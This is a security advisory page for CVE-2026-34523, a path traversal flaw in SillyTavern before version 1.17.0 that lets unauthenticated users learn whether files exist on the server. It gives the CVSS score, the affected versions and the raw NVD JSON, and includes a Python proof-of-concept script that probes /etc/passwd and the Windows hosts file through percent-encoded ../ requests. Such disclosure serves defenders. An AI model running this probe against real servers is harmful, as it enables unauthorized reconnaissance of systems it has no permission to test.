Security Vulnerability Report
中文
CVE-2026-34523 CVSS 5.3 MEDIUM

CVE-2026-34523

Published: 2026-04-02 18:16:30
Last Modified: 2026-04-13 18:35:55

Description

SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. by sending percent-encoded "../" sequences (%2E%2E%2F) in requests to static file routes, an attacker can check for the existence of files. This issue has been patched in version 1.17.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:* - VULNERABLE
SillyTavern < 1.17.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_file_existence(target_url, file_path): """ Check if a file exists on the server using path traversal. """ # Encode the traversal sequence and the target file path # Payload: ../../../etc/passwd -> %2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd encoded_payload = file_path.replace("../", "%2E%2E%2F") # Construct the full URL assuming the static file endpoint # Note: The actual endpoint may vary based on SillyTavern configuration exploit_url = f"{target_url}/scripts/{encoded_payload}" try: response = requests.get(exploit_url, timeout=5) if response.status_code == 200: print(f"[+] File likely exists: {file_path}") return True elif response.status_code == 404: print(f"[-] File not found: {file_path}") return False else: print(f"[?] Server returned status code: {response.status_code}") return None except Exception as e: print(f"[!] Error connecting to server: {e}") return None if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual target # Example targets to check targets = [ "../../../etc/passwd", "../../../windows/system32/drivers/etc/hosts" ] for t in targets: check_file_existence(target, t)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34523", "sourceIdentifier": "[email protected]", "published": "2026-04-02T18:16:29.613", "lastModified": "2026-04-13T18:35:55.150", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SillyTavern is a locally installed user interface that allows users to interact with text generation large language models, image generation engines, and text-to-speech voice models. Prior to version 1.17.0, a path traversal vulnerability in the static file route handler allows any unauthenticated user to determine whether files exist anywhere on the server's filesystem. by sending percent-encoded \"../\" sequences (%2E%2E%2F) in requests to static file routes, an attacker can check for the existence of files. This issue has been patched in version 1.17.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:sillytavern:sillytavern:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.17.0", "matchCriteriaId": "7E2E14B3-75EF-4DC4-84BE-8C2F5D6949A4"}]}]}], "references": [{"url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.17.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-525j-2hrj-m8fp", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}]}}